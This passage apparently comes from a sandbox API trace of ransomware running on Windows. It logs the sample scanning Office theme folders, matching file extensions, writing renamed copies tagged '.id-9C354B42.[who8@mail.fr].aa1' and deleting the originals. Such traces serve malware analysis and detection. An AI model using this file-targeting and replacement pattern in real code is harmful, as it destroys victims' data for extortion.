[0218.678] lstrlenW (lpString=".jpg") returned 4 [0218.678] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0218.678] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0218.678] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0218.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0218.889] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2181) returned 1 [0218.889] CloseHandle (hObject=0x1a0) returned 1 [0218.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20 [0218.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0218.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0218.889] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.889] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0218.900] GetLastError () returned 0x0 [0218.900] ReadFile (in: hFile=0x1a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x885, lpOverlapped=0x0) returned 1 [0219.393] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x890, lpOverlapped=0x0) returned 1 [0219.394] ReadFile (in: hFile=0x1a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0219.394] WriteFile (in: hFile=0x208, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0219.394] SetEndOfFile (hFile=0x208) returned 1 [0219.394] CloseHandle (hObject=0x208) returned 1 [0219.394] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0219.394] SetEndOfFile (hFile=0x1a0) returned 1 [0219.395] CloseHandle (hObject=0x1a0) returned 1 [0219.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0219.395] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1 [0219.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.396] lstrlenW (lpString=".doc") returned 4 [0219.396] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0219.396] lstrlenW (lpString=".docx") returned 5 [0219.396] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0219.396] lstrlenW (lpString=".pdf") returned 4 [0219.396] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0219.396] lstrlenW (lpString=".xls") returned 4 [0219.396] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0219.396] lstrlenW (lpString=".xlsx") returned 5 [0219.396] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0219.396] lstrlenW (lpString=".ppt") returned 4 [0219.396] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0219.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.396] lstrlenW (lpString=".zip") returned 4 [0219.396] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0219.396] lstrlenW (lpString=".rar") returned 4 [0219.396] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0219.396] lstrlenW (lpString=".bz2") returned 4 [0219.396] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0219.396] lstrlenW (lpString=".7z") returned 3 [0219.396] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0219.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.396] lstrlenW (lpString=".dbf") returned 4 [0219.396] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0219.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.396] lstrlenW (lpString=".1cd") returned 4 [0219.396] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0219.396] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.396] lstrlenW (lpString=".jpg") returned 4 [0219.396] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0219.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.397] lstrlenW (lpString=".doc") returned 4 [0219.397] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0219.397] lstrlenW (lpString=".docx") returned 5 [0219.397] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0219.397] lstrlenW (lpString=".pdf") returned 4 [0219.397] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0219.397] lstrlenW (lpString=".xls") returned 4 [0219.397] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0219.397] lstrlenW (lpString=".xlsx") returned 5 [0219.397] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0219.397] lstrlenW (lpString=".ppt") returned 4 [0219.397] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0219.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.397] lstrlenW (lpString=".zip") returned 4 [0219.397] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0219.397] lstrlenW (lpString=".rar") returned 4 [0219.397] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0219.397] lstrlenW (lpString=".bz2") returned 4 [0219.397] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0219.397] lstrlenW (lpString=".7z") returned 3 [0219.397] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0219.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.397] lstrlenW (lpString=".dbf") returned 4 [0219.397] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0219.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.397] lstrlenW (lpString=".1cd") returned 4 [0219.397] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0219.397] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74 [0219.397] lstrlenW (lpString=".jpg") returned 4 [0219.398] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0219.398] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0219.398] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0219.398] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.827] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=27407) returned 1 [0220.827] CloseHandle (hObject=0x1f8) returned 1 [0220.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0220.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0220.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.828] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.828] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0220.828] GetLastError () returned 0x0 [0220.828] ReadFile (in: hFile=0x1f8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0220.895] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0220.899] ReadFile (in: hFile=0x1f8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0220.899] WriteFile (in: hFile=0x20c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0220.899] SetEndOfFile (hFile=0x20c) returned 1 [0220.901] CloseHandle (hObject=0x20c) returned 1 [0220.901] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.901] SetEndOfFile (hFile=0x1f8) returned 1 [0220.902] CloseHandle (hObject=0x1f8) returned 1 [0220.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0220.903] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0220.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.904] lstrlenW (lpString=".doc") returned 4 [0220.904] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0220.904] lstrlenW (lpString=".docx") returned 5 [0220.904] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0220.904] lstrlenW (lpString=".pdf") returned 4 [0220.904] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0220.904] lstrlenW (lpString=".xls") returned 4 [0220.904] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0220.904] lstrlenW (lpString=".xlsx") returned 5 [0220.904] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0220.905] lstrlenW (lpString=".ppt") returned 4 [0220.905] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0220.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.905] lstrlenW (lpString=".zip") returned 4 [0220.905] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0220.905] lstrlenW (lpString=".rar") returned 4 [0220.905] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0220.905] lstrlenW (lpString=".bz2") returned 4 [0220.905] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0220.905] lstrlenW (lpString=".7z") returned 3 [0220.905] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0220.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.905] lstrlenW (lpString=".dbf") returned 4 [0220.905] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0220.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.905] lstrlenW (lpString=".1cd") returned 4 [0220.905] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0220.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.905] lstrlenW (lpString=".jpg") returned 4 [0220.905] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0220.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.905] lstrlenW (lpString=".doc") returned 4 [0220.905] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0220.905] lstrlenW (lpString=".docx") returned 5 [0220.905] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0220.905] lstrlenW (lpString=".pdf") returned 4 [0220.905] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0220.905] lstrlenW (lpString=".xls") returned 4 [0220.905] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0220.906] lstrlenW (lpString=".xlsx") returned 5 [0220.906] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0220.906] lstrlenW (lpString=".ppt") returned 4 [0220.906] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0220.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.906] lstrlenW (lpString=".zip") returned 4 [0220.906] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0220.906] lstrlenW (lpString=".rar") returned 4 [0220.906] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0220.906] lstrlenW (lpString=".bz2") returned 4 [0220.906] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0220.906] lstrlenW (lpString=".7z") returned 3 [0220.906] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0220.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.906] lstrlenW (lpString=".dbf") returned 4 [0220.906] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0220.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.906] lstrlenW (lpString=".1cd") returned 4 [0220.906] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0220.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0220.906] lstrlenW (lpString=".jpg") returned 4 [0220.906] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0220.906] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0220.906] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0220.906] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.907] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=2722) returned 1 [0220.907] CloseHandle (hObject=0x1f8) returned 1 [0220.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0220.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0220.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0220.907] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.907] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0220.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0220.957] GetLastError () returned 0x0 [0220.957] ReadFile (in: hFile=0x1f8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0xaa2, lpOverlapped=0x0) returned 1 [0221.126] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0221.146] ReadFile (in: hFile=0x1f8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.146] WriteFile (in: hFile=0x1b0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.146] SetEndOfFile (hFile=0x1b0) returned 1 [0221.146] CloseHandle (hObject=0x1b0) returned 1 [0221.146] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.146] SetEndOfFile (hFile=0x1f8) returned 1 [0221.147] CloseHandle (hObject=0x1f8) returned 1 [0221.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.147] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0221.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.148] lstrlenW (lpString=".doc") returned 4 [0221.148] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.148] lstrlenW (lpString=".docx") returned 5 [0221.148] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.148] lstrlenW (lpString=".pdf") returned 4 [0221.148] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.148] lstrlenW (lpString=".xls") returned 4 [0221.148] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.148] lstrlenW (lpString=".xlsx") returned 5 [0221.148] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.148] lstrlenW (lpString=".ppt") returned 4 [0221.148] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.148] lstrlenW (lpString=".zip") returned 4 [0221.148] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.149] lstrlenW (lpString=".rar") returned 4 [0221.149] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.149] lstrlenW (lpString=".bz2") returned 4 [0221.149] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.149] lstrlenW (lpString=".7z") returned 3 [0221.149] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.149] lstrlenW (lpString=".dbf") returned 4 [0221.149] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.149] lstrlenW (lpString=".1cd") returned 4 [0221.149] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.149] lstrlenW (lpString=".jpg") returned 4 [0221.149] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.149] lstrlenW (lpString=".doc") returned 4 [0221.149] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.149] lstrlenW (lpString=".docx") returned 5 [0221.149] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.149] lstrlenW (lpString=".pdf") returned 4 [0221.149] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.149] lstrlenW (lpString=".xls") returned 4 [0221.149] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.149] lstrlenW (lpString=".xlsx") returned 5 [0221.149] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.149] lstrlenW (lpString=".ppt") returned 4 [0221.150] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.150] lstrlenW (lpString=".zip") returned 4 [0221.150] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.150] lstrlenW (lpString=".rar") returned 4 [0221.150] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.150] lstrlenW (lpString=".bz2") returned 4 [0221.150] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.150] lstrlenW (lpString=".7z") returned 3 [0221.150] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.150] lstrlenW (lpString=".dbf") returned 4 [0221.150] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.150] lstrlenW (lpString=".1cd") returned 4 [0221.150] lstrcmpiW (lpString1=".1cd", 